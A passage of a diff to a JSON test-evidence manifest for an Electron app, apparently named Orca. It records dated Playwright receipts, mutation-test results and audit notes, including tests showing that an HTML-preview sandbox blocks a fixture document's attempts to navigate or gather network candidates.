}, - { - "date": "2026-08-12", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1 --reporter=line", - "result": "passed", - "durationSeconds": 24.3, - "summary": "A visible desktop host and separate paired Electron client held one exact host page before client materialization, forced the post-create timeout, then proved exact host rollback, empty-split removal, failure UI, no local fallback, and surviving editor and terminal.", - "currentCommand": "SKIP_BUILD=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1 --reporter=line" - }, - { - "date": "2026-08-12", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line", - "result": "passed", - "durationSeconds": 18.5, - "summary": "The same exact-page hold, timeout, rollback, client cleanup, no-fallback, editor, and terminal oracle passed against isolated headless serve.", - "currentCommand": "SKIP_BUILD=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line" - }, - { - "date": "2026-08-13", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-browser-create-navigation-deadline.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "result": "passed", - "durationSeconds": 18.1, - "summary": "Two isolated headed Electron/CDP journeys passed: the direct owner-pinned call returned one canonical host ID before held navigation, and the real remote-pane context-menu route materialized that one page without retry or duplicate.", - "currentCommand": "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-browser-create-navigation-deadline.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1" } ], "runtimeBudget": { "p95Seconds": 90, - "scope": "Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." }, "flakeHistory": { - "status": "unknown", - "evidence": "Changed selectors have no new soak result after Audit1412; any retained unchanged-source receipts apply only to their own commands. Historical account: Audit1386 changed selectors have no new soak result. Historical account: Changed selectors have no new soak result after Audit1308; any retained unchanged-source receipts apply only to their own commands. Historical account: The candidate passed isolated local macOS Electron runs before and after the final rebase; longer CI and soak history is not yet available." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: Changed selectors have no new soak result after Audit1412; any retained unchanged-source receipts apply only to their own commands. Historical account: Audit1386 changed selectors have no new soak result. Historical account: Changed selectors have no new soak result after Audit1308; any retained unchanged-source receipts apply only to their own commands. Historical account: The candidate passed isolated local macOS Electron runs before and after the final rebase; longer CI and soak history is not yet available." }, "redGreenEvidence": { "status": "missing", - "evidence": "Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1412 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audit1386 changed test sources; no new red/green validation of reduced selectors. Historical account: Audit1308 changed referenced test sources; no new red/green validation of the reduced set. Historical account: The unchanged STA-4063 five-assertion oracle is red 5/5 on scan e4c278eb52 and latest main bc2e30000b, partially green 2/5 on pre-fix PR #14100, green 5/5 on candidate 14b5877a75, and red 3/5 when only the new transaction cleanup boundary is disabled on final candidate a9e6fb7716. The earlier STA-4025 transaction oracle remains red on the post-#13909 base and green on this candidate. The byte-identical STA-4231 headed oracle is red on latest-main b19d99bd00: both 15-second creates return runtime_timeout without a page ID while the host retains two distinct pages after retry. The relevant behavior is unchanged through 0a0ae974d4. The candidate is green with one returned canonical ID, one host/client page, and no retry; disabling only the navigation-independent acknowledgement is red with the same two orphaned pages. The byte-identical 2ec1dcf1 Electron oracle remains red on latest main 346e59c879, green on candidate d05217c40d, and red with only side-preview focus disabled; historical 5806b23f evidence separately proves owning-runtime routing. For the STA-5557 preview behavior the rewritten journey is green 1/1 on the candidate and red when the sole delta makes the same preview action also create a browser tab, failing on clientBrowserWorkspaceCount 1 versus baseline 0. That absence assertion is gated on first reading the rendered document out of the guest, so it cannot pass by the preview never happening. Against pre-STA-5557 builds the journey is red by construction rather than by measurement: those builds have no html-preview tab mode, so the run would fail earlier, at materialization, and it has not been executed against an old build. The reader-facing half is red-green at the unit layer. The 6/6 green and 2/6 red pair recorded earlier on 2026-08-26 measured the superseded shape, where a subresource failure was filtered out entirely; the shipping shape is green 10/10 and red 3/10 when the sole delta makes every failure, asset or entry, set the blocking reason. The containment lines the second review found uncovered are red-green too: installing the scheme handler on the default session instead of the preview session, and widening the scheme privileges with allowServiceWorkers and bypassCSP, each fail the protocol suite as the sole delta, and deleting the html-preview case from the closed-tab cleanup fails the hook suite. The external-link phase added on 2026-08-26 is red-green by measurement: green 3/3 on the trusted-click design, in which the guest's own preload reports a trusted press on an anchor and main answers only a focused preview guest holding a live grant. Its earlier shape depended on the webview carrying allowpopups and went red with zero recorded routing calls when only that attribute was dropped; the preload now intercepts the press before Chromium considers a popup, so the attribute is gone and that measurement retired with it. One further run failed in the paired-client harness before reaching any preview step, when the client window never exposed its store within the launch timeout; that is a harness flake, not a preview signal. The two egress fences added on 2026-08-26 are red-green by measurement in the same journey, whose fixture attempts its own escape on every load and again from inside the handler for the reader's press on the heading: with deny-only navigation sinks the document opens no browser tab and the counts hold at baseline, and with the sole delta that those sinks route again behind a two-second recent-input gate the post-press location.href opens a real tab, clientBrowserWorkspaceCountAllWorktrees 1 against a baseline of 0. An earlier measurement of that same gate, taken when it was the shipping design, showed the unattended on-load egress opening two tabs once the gate was removed entirely; it was retired with the gate, because a gate that cannot tell a script's navigation from the click it followed was never the fence the claim needed. With the guest's IP-handling policy the document reports candidates=0, and with the sole delta that the policy call is removed it reports candidates=6. Both mutants were applied to the shipping module, rebuilt, and run against the live paired journey rather than reasoned about." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1412 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audit1386 changed test sources; no new red/green validation of reduced selectors. Historical account: Audit1308 changed referenced test sources; no new red/green validation of the reduced set. Historical account: The unchanged STA-4063 five-assertion oracle is red 5/5 on scan e4c278eb52 and latest main bc2e30000b, partially green 2/5 on pre-fix PR #14100, green 5/5 on candidate 14b5877a75, and red 3/5 when only the new transaction cleanup boundary is disabled on final candidate a9e6fb7716. The earlier STA-4025 transaction oracle remains red on the post-#13909 base and green on this candidate. The byte-identical STA-4231 headed oracle is red on latest-main b19d99bd00: both 15-second creates return runtime_timeout without a page ID while the host retains two distinct pages after retry. The relevant behavior is unchanged through 0a0ae974d4. The candidate is green with one returned canonical ID, one host/client page, and no retry; disabling only the navigation-independent acknowledgement is red with the same two orphaned pages. The byte-identical 2ec1dcf1 Electron oracle remains red on latest main 346e59c879, green on candidate d05217c40d, and red with only side-preview focus disabled; historical 5806b23f evidence separately proves owning-runtime routing. For the STA-5557 preview behavior the rewritten journey is green 1/1 on the candidate and red when the sole delta makes the same preview action also create a browser tab, failing on clientBrowserWorkspaceCount 1 versus baseline 0. That absence assertion is gated on first reading the rendered document out of the guest, so it cannot pass by the preview never happening. Against pre-STA-5557 builds the journey is red by construction rather than by measurement: those builds have no html-preview tab mode, so the run would fail earlier, at materialization, and it has not been executed against an old build. The reader-facing half is red-green at the unit layer. The 6/6 green and 2/6 red pair recorded earlier on 2026-08-26 measured the superseded shape, where a subresource failure was filtered out entirely; the shipping shape is green 10/10 and red 3/10 when the sole delta makes every failure, asset or entry, set the blocking reason. The containment lines the second review found uncovered are red-green too: installing the scheme handler on the default session instead of the preview session, and widening the scheme privileges with allowServiceWorkers and bypassCSP, each fail the protocol suite as the sole delta, and deleting the html-preview case from the closed-tab cleanup fails the hook suite. The external-link phase added on 2026-08-26 is red-green by measurement: green 3/3 on the trusted-click design, in which the guest's own preload reports a trusted press on an anchor and main answers only a focused preview guest holding a live grant. Its earlier shape depended on the webview carrying allowpopups and went red with zero recorded routing calls when only that attribute was dropped; the preload now intercepts the press before Chromium considers a popup, so the attribute is gone and that measurement retired with it. One further run failed in the paired-client harness before reaching any preview step, when the client window never exposed its store within the launch timeout; that is a harness flake, not a preview signal. The two egress fences added on 2026-08-26 are red-green by measurement in the same journey, whose fixture attempts its own escape on every load and again from inside the handler for the reader's press on the heading: with deny-only navigation sinks the document opens no browser tab and the counts hold at baseline, and with the sole delta that those sinks route again behind a two-second recent-input gate the post-press location.href opens a real tab, clientBrowserWorkspaceCountAllWorktrees 1 against a baseline of 0. An earlier measurement of that same gate, taken when it was the shipping design, showed the unattended on-load egress opening two tabs once the gate was removed entirely; it was retired with the gate, because a gate that cannot tell a script's navigation from the click it followed was never the fence the claim needed. With the guest's IP-handling policy the document reports candidates=0, and with the sole delta that the policy call is removed it reports candidates=6. Both mutants were applied to the shipping module, rebuilt, and run against the live paired journey rather than reasoned about." }, "performanceBudget": { "required": true, - "evidence": "Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical prior-selector budget; changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. The transaction adds no timer, polling, retry, subprocess, RPC method, stream opcode, or global host publication. Owner-pinned success performs one create RPC followed by one asynchronous goto, retains one page, and performs zero retry or cleanup calls. A lost create acknowledgement performs one exact close by the preallocated canonical ID and at most one confirming snapshot. Headless goto publishes one worktree-scoped session snapshot after navigation. Capability rejection performs zero RPCs and one bounded empty-group close. The E2E-only one-shot faults are build-gated, retain one promise/flag and a bounded page-id set, and reset after each run. Pending client placements remain capped at 128 and clear on adoption, failure, or teardown." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical prior-selector budget; changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. The transaction adds no timer, polling, retry, subprocess, RPC method, stream opcode, or global host publication. Owner-pinned success performs one create RPC followed by one asynchronous goto, retains one page, and performs zero retry or cleanup calls. A lost create acknowledgement performs one exact close by the preallocated canonical ID and at most one confirming snapshot. Headless goto publishes one worktree-scoped session snapshot after navigation. Capability rejection performs zero RPCs and one bounded empty-group close. The E2E-only one-shot faults are build-gated, retain one promise/flag and a bounded page-id set, and reset after each run. Pending client placements remain capped at 128 and clear on adoption, failure, or teardown." }, "promotionCriteria": [ "Collect Linux and physical Windows paired-server evidence.", @@ -4463,7 +4002,27 @@ "Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. ", "Audit5910 retires the complete use-doc-preview-guest-tools suite: token-scoped pending-card position after inner scroll, load reset and detached guest listener cleanup alarms are intentionally lost without equivalent replacement. Narrow three compound selectors and remove its testFiles entry. All remaining assertions/selectors and complete dated evidenceRuns retain only their original scope; no fresh validation or replacement claim.", "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. ", - "Module-layout web/session cleanup: Removed snapshot-before-response, sibling-first and newer-viewer-choice focus-intent TEST alarms. No replacement coverage or new execution is claimed; dated receipts describe their original runs. Prior active fields (historical only): [{\"pointer\":\"/gates/54/commands/0\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser/client-pages/orca-runtime-browser.test.ts src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts\\\"\"},{\"pointer\":\"/gates/54/testFiles/16\",\"raw\":\"\\\"src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts\\\"\"},{\"pointer\":\"/gates/54/assertionRefs/8\",\"raw\":\"{\\n \\\"file\\\": \\\"src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts\\\",\\n \\\"assertions\\\": [\\n \\\"replays a snapshot that beat the RPC response and focuses the exact adopted leaf\\\",\\n \\\"retains exact-leaf focus intent when a split sibling publishes first\\\"\\n ]\\n }\"}]" + "Module-layout web/session cleanup: Removed snapshot-before-response, sibling-first and newer-viewer-choice focus-intent TEST alarms. No replacement coverage or new execution is claimed; dated receipts describe their original runs. Prior active fields (historical only): [{\"pointer\":\"/gates/54/commands/0\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/browser/client-pages/orca-runtime-browser.test.ts src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts\\\"\"},{\"pointer\":\"/gates/54/testFiles/16\",\"raw\":\"\\\"src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts\\\"\"},{\"pointer\":\"/gates/54/assertionRefs/8\",\"raw\":\"{\\n \\\"file\\\": \\\"src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts\\\",\\n \\\"assertions\\\": [\\n \\\"replays a snapshot that beat the RPC response and focuses the exact adopted leaf\\\",\\n \\\"retains exact-leaf focus intent when a split sibling publishes first\\\"\\n ]\\n }\"}]", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-27\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line\",\n \"result\": \"passed\",\n \"durationSeconds\": 186,\n \"summary\": \"The rewritten journey passed 2/2. The first test proves the inverted claim: the client gains exactly one browser workspace and it is the document one — page and tab url blank, the document path mirrored onto both, the tab named by the document's own title, the chip still naming the file, no editor row of the retired preview species — while the host's page registry and tab snapshot both stay at their pre-action content. Both host oracles carry a presence precondition in the same run: an ordinary URL browser tab this client opens does arrive in browser.tabList and in session.tabs.list, and leaves both again when it is closed, so the preview's absence is a decision rather than an oracle that cannot see browser pages. The document still reaches nothing on its own (zero ICE candidates, unattended and post-press egress both swallowed), and the one route out still works: a real press on a target=_blank anchor routes exactly one call and opens a tab while the preview stays open. The second test quits the client with a document tab open and relaunches it on the same profile: the same workspace row comes back blank and named by the document, renders again, and does so over a grant URL that differs from the one that was quit.\",\n \"currentCommand\": \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-27\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line\",\n \"result\": \"failed\",\n \"durationSeconds\": 108,\n \"summary\": \"Candidate with the sole delta that the preview action also opens an ordinary browser tab through the runtime — what it did before STA-5557 — failed at the client-workspace count, 2 against the 1 the claim allows. It dies there rather than at the host oracle, so it proves the exactly-one-workspace half; the host half has no single line to mutate, since a document page never calls the runtime at all, and is protected instead by the presence precondition recorded above.\",\n \"currentCommand\": \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-27\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line\",\n \"result\": \"failed\",\n \"durationSeconds\": 190,\n \"summary\": \"Candidate with the sole delta that the workspace row stops mirroring the document its active page shows failed in both tests on workspaceDocFilePath, null against the document path — the tab entry would go on naming nothing while the page it renders is a document. Two earlier mutants survived and are reported as ill-posed rather than as blind spots: flipping the mobile publish filter changes what this desktop publishes to its own phone clients, not what a paired client puts on its host, and flipping the document mirror in the workspace constructor is repaired on the next state write by the active-page mirror, which is the line the mutant above hits.\",\n \"currentCommand\": \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-27\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line\",\n \"result\": \"failed\",\n \"durationSeconds\": 195,\n \"summary\": \"Candidate with the sole delta that the preview pane does not hand focus to its guest — the tree as it stood before this change — failed at the target=_blank press: six real presses reached the anchor, the embedder had the webview as its active element, and main's own log answered each report with registered true, grant live, focused false. This is the gap the rewrite found: since previews became browser pages they had no chrome to pass focus on, so the one route out of a preview was shut.\",\n \"currentCommand\": \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-26\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line\",\n \"result\": \"passed\",\n \"durationSeconds\": 23.1,\n \"summary\": \"The journey passed 1/1 on the candidate that requires the guest to be bound to a grant before any navigation is allowed, rather than admitting an unbound one. The document still rendered and the target=_blank press still routed out, which is the half that would break if the renderer-set src reached will-navigate: it does not, because that load is browser-initiated, so the permissive branch it was written for is unreachable.\",\n \"currentCommand\": \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-26\",\n \"runner\": \"ci\",\n \"platform\": \"linux\",\n \"command\": \"npx playwright test --config tests/playwright.config.ts --project=electron-headless tests/e2e/paired-remote-html-preview-local-render.spec.ts --workers=1\",\n \"result\": \"failed\",\n \"durationSeconds\": 72,\n \"summary\": \"The journey failed on Ubuntu at the post-press presence precondition, with #post-input-egress still reading 'idle' after 30 seconds. The trace shows the press was dispatched at 769.5,143.9, a point the guest's own hit test had just confirmed was on its heading, and the focus report before it was already isFocused true, so neither focus nor coordinates were the break: the press never entered the guest at all. A standalone Electron 43 probe under Xvfb with this suite's Linux flags reproduced it in roughly two runs in five when pressing immediately after guest attach — the embedder received the pointerdown with the webview element as its target, meaning the browser resolved the press against the embedder because the freshly attached guest had not yet registered its hit-test region. The same probe never dropped a press on macOS, which is why local runs of either project could not see this. The spec now presses until the document answers, mirroring the target=_blank phase.\",\n \"currentCommand\": \"npx playwright test --config tests/playwright.config.ts --project=electron-headless tests/e2e/paired-remote-html-preview-local-render.spec.ts --workers=1\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-26\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line --repeat-each=3\",\n \"result\": \"passed\",\n \"durationSeconds\": 72,\n \"summary\": \"The journey passed 3/3 on the trusted-click candidate, which removed the recent-input gate, made both navigation sinks deny-only, dropped the webview's allowpopups attribute and gave the preview guest its own pinned preload. The fixture now also attempts a window.open and location.href from inside a pointerdown handler, so the egress rides a press the reader really made: it reported 'attempted' every run while both browser counts stayed at that phase's baseline and nothing routed, and the later real press on the target=_blank link still opened exactly one Orca browser tab with the preview still open.\",\n \"currentCommand\": \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line --repeat-each=3\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-26\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line\",\n \"result\": \"failed\",\n \"durationSeconds\": 26.9,\n \"summary\": \"Candidate with the sole delta that the navigation sinks route again behind a two-second recent-input gate failed on clientBrowserWorkspaceCountAllWorktrees 1 versus baseline 0: the document's location.href, run from inside the handler for the reader's press on the heading, opened a real browser tab. That is the case the earlier design could not distinguish from the press's own effect, and it is why the sinks route nothing at all now. The same run still refused the unattended on-load egress, so this measures the new half specifically.\",\n \"currentCommand\": \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-26\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line\",\n \"result\": \"passed\",\n \"durationSeconds\": 22.8,\n \"summary\": \"The journey passed 1/1 with the fixture document now attempting its own egress on every load: an unattended window.open and location.href to an off-machine URL, and an ICE gathering probe. Both browser counts held at baseline and the probe reported candidates=0, while the document still rendered and the later real target=_blank press still routed out as an Orca browser tab.\",\n \"currentCommand\": \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-26\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line\",\n \"result\": \"failed\",\n \"durationSeconds\": 23.6,\n \"summary\": \"Candidate with the sole delta that the preview guest no longer receives the disable_non_proxied_udp IP-handling policy failed on candidates=6 versus 0, proving the document can gather ICE — including a STUN reflexive candidate against an off-machine server in the standalone probe — whenever that one main-process call is missing.\",\n \"currentCommand\": \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-26\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line --repeat-each=3\",\n \"result\": \"passed\",\n \"durationSeconds\": 66,\n \"summary\": \"The journey passed 3/3 again under --repeat-each=3 on the candidate that clears grants on every fresh shell document and gates the mint channel on the trusted renderer, so neither change disturbs a live preview: the document still rendered, both browser counts held at baseline, and the target=_blank press still routed out as an Orca browser tab.\",\n \"currentCommand\": \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line --repeat-each=3\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-26\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line --repeat-each=3\",\n \"result\": \"passed\",\n \"durationSeconds\": 59.7,\n \"summary\": \"The renamed journey passed 3/3 under --repeat-each=3 on the hardened candidate: the host document rendered in the orca-preview guest, both browser counts held at baseline through the split, focus, reactivation and close phases, and the final phase's real target=_blank press routed out as an Orca browser tab with the routing call recorded as opened while the preview tab stayed open.\",\n \"currentCommand\": \"SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line --repeat-each=3\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-12\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1 --reporter=line\",\n \"result\": \"passed\",\n \"durationSeconds\": 18.3,\n \"summary\": \"The full headed spec passed 2/2. A visible desktop host and separate paired Electron client proved both reconciliation rollback and capability rejection with a failure toast and exact host/client browser, group, editor, and terminal inventory restoration.\",\n \"currentCommand\": \"SKIP_BUILD=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1 --reporter=line\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-12\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts --config 